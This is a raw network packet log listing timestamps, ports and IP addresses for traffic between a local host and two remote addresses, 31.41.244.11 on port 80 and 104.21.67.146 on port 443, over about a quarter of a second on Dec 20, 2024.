Dec 20, 2024 09:12:29.805852890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.805895090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.806643009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.806688070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.806729078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.806772947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.807461977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.807507038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.807583094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.807626963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.808300018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.808343887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.808418036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.808461905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.809149981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.809202909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.809247971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.809293032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.810040951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.810089111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.810103893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.810148954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.810879946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.810925007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.810967922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.811013937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.811705112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.811747074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.811813116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.811856985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.812546015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.812591076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.812618971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.812660933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.813442945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.813477993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.813488007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.813519955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.814218044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.814263105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.814325094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.814371109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.815100908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.815148115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.815208912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.815251112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.815956116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.815999031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.816072941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.816114902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.816823959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.816864014 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.816886902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.816927910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.817646027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.817688942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.817837000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.817878962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.818490028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.818532944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.818608046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.818650961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.819340944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.819387913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.819569111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.819613934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.820180893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.820228100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.820252895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.820297003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.821088076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.821132898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.821209908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.821255922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.821867943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.821911097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.821974993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.822017908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.822653055 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.822760105 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.822767973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.822794914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.822808027 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.822815895 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.822815895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.822828054 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.822837114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.822886944 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.822895050 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.823601961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.823672056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.823779106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.823826075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.824419022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.824460983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.824536085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.824579000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.825318098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.825402021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.825427055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.825505018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.826136112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.826208115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.826222897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.826276064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.827030897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.827083111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.827126026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.827172041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.827831984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.827883959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.828042030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.828087091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.828670979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.828727961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.828783035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.828830004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.829543114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.829588890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.829632044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.829675913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.830631971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.830647945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.830678940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.830694914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.831083059 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.831141949 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.831152916 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.831209898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.831357956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.831371069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.831413984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.832067013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.832123995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.832163095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.832207918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.832930088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.832978010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.833024979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.833070040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.833769083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.833882093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.834605932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.834713936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.835489988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.835596085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.836052895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.836374044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.836421013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.836548090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.836601019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.837177992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.837224007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.842412949 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.842463017 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.842478991 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.897663116 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.897674084 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.942181110 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.942261934 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.942271948 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:29.984993935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.985054970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.985272884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.985322952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.985333920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.985379934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.985431910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.985477924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.986223936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.986279964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.986320019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.986371040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.987081051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.987128019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.987166882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.987219095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.987870932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.987915039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.988006115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.988049984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.988775015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.988820076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.988867998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.988912106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.989593983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.989691973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.989701033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.989748001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.990453005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.990500927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.990593910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.990677118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.991275072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.991337061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.991384029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.991400003 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:29.991430044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.992151976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.992208004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.992248058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.992290974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.993012905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.993065119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.993128061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.993869066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.993923903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.993952990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.994756937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.994817972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.994836092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.994875908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.998737097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.998761892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.998781919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.998797894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.998815060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.998826981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.998833895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.998903990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.999053955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.999106884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.999106884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.999106884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.999238968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.999571085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.999588966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.999619961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.999639034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:29.999771118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.999866962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:29.999911070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.000622034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.000726938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.000777006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.001458883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.001514912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.001563072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.002322912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.002370119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.002396107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.004949093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.005475998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.005537987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.006550074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.006567955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.006582975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.006599903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.006611109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.006618023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.006632090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.006637096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.006666899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.006688118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.006697893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.007697105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.007714987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.007762909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.007781029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.008388042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.008546114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.008609056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.009378910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.009516954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.009577990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.010185957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.010200977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.010253906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.011058092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.011113882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.011239052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.011773109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.011826038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.011923075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.012797117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.012813091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.012820959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.012845993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.012865067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.013632059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.013649940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.013681889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.013699055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.014276028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.014322042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.014442921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.014487028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.015300989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.015326977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.015362024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.015425920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.015621901 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.015799046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.015849113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.016352892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.016395092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.017013073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.017175913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.017220020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.017863035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.017879963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.017932892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.018651962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.018670082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.018704891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.018733978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.019488096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.019539118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.019632101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.019690990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.019742966 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.019793987 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:30.019808054 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.019845009 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.019953966 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:30.019970894 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.019984007 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:30.019984007 CET	49812	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:30.019993067 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.020003080 CET	443	49812	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:30.020442009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.020457983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.020512104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.021234035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.021250963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.021286964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.021320105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.022018909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.022180080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.022202015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.022281885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.022839069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.022926092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.023000956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.023044109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.023663998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.023714066 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.023819923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:30.023879051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:30.024627924 CET	80	49808	31.41.244.11	192.168.2.4
